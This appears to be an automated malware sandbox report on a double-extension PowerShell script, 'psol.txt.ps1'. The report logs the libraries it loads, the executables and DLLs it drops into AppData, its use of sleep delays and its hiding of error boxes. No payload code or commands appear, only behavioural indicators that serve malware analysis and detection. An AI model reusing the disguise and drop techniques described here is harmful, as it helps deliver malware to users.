Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: D:\a\1\s\src\AdonisUI\obj\Release\net45\AdonisUI.pdbSHA256 source: powershell.exe, 00000000.00000002.2554907242.000001E72DB90000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\src\AdonisUI.ClassicTheme\obj\Release\net45\AdonisUI.ClassicTheme.pdb source: powershell.exe, 00000000.00000002.2554907242.000001E72DB4C000.00000004.00000800.00020000.00000000.sdmp, AdonisUI.ClassicTheme.dll.0.dr
Source:	Binary string: D:\a\1\s\src\AdonisUI.ClassicTheme\obj\Release\net45\AdonisUI.ClassicTheme.pdbSHA256a source: powershell.exe, 00000000.00000002.2554907242.000001E72DB4C000.00000004.00000800.00020000.00000000.sdmp, AdonisUI.ClassicTheme.dll.0.dr
Source:	Binary string: D:\a\1\s\src\AdonisUI\obj\Release\net45\AdonisUI.pdb source: powershell.exe, 00000000.00000002.2554907242.000001E72DB90000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\bin\2015\Win32\ReleaseNativeOnlyStatic\SQLite.Interop.pdb source: powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp

Source: AdonisUI.ClassicTheme.dll.0.dr

Static PE information: 0xCA5C7745 [Sun Aug 1 15:31:17 2077 UTC]

Source: setup.exe.0.dr	Static PE information: section name: .didata
Source: libvlccore.dll.0.dr	Static PE information: section name: .buildid
Source: libvlccore.dll.0.dr	Static PE information: section name: /4
Source: libvlccore.dll0.0.dr	Static PE information: section name: .buildid
Source: libvlccore.dll0.0.dr	Static PE information: section name: /4

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_023239CE push esp; iretd	5_2_023239CF
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02323760 push esp; iretd	5_2_02323761
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02CA794A push ebp; retf	5_2_02CA794B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.ClassicTheme.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\SQLite.Interop.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Register.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\libvlccore.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\BouncyCastle.Crypto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\Register.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\SQLite.Interop.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: txt.ps1

Static PE information: psol.txt.ps1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4968	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4912	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1574	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.ClassicTheme.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\SQLite.Interop.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\Register.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\libvlccore.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\BouncyCastle.Crypto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\SQLite.Interop.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Extracted1\Register.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2412	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe TID: 2820	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe TID: 7064	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809			Jump to behavior
